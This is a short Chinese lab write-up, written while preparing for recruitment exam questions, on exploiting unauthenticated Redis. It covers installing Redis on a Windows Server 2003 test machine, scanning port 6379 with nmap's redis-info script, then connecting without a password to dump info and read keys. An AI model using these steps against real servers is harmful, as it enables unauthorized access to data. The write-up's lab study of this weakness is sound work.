Redis未授权访问

最近在做校招题目的时候发现有问到未授权访问，特此搭建了诸多未授权访问的环境并且一一复现并做简单总结。再次记录下来

环境介绍

0x00环境搭建

我这里用到的是Microsoft(R) Windows(R) Server 2003, Enterprise Edition 32位服务器，所以下载的是32位的redis，如果是64位的请下载对应的版本

下载地址：https://github.com/MSOpenTech/redis/releases。

下载下来的压缩包将其放入C盘根目录，重命名为Redis。打开一个 CMD 窗口，cd 进入到 C:\Redis，输入 redis-server.exe Redis.conf

回车之后，如果显示如下界面就证明成功了

看到这个界面之后，此时另起一个 CMD 窗口，同样通过 cd 进入 C:\Redis 输入 redis-cli.exe -h 127.0.0.1 -p 6379

之后设置key值 set key zxc

取出key值 get key

在这里环境就已经搭建完成

 0x01攻击方法

1.使用nmap获取目标端口信息

因为Redis默认端口号为6379，因此我们对6379端口进行扫描

  nmap -A -p  -script redis-info 192.168.50.130

这里看到，已经获取到了Redis的相关信息。

2.通过Redis未授权访问获取敏感信息

Redis在默认配置的情况下，是空口令，并且如果其默认端口6379对外开放的话，则可以远程访问，因此默认配置下的Redis我们可以直接连接并获取敏感信息。

 ./redis-cli -h 192.168.50.130

 info

查看里面对应的key值

keys *

get key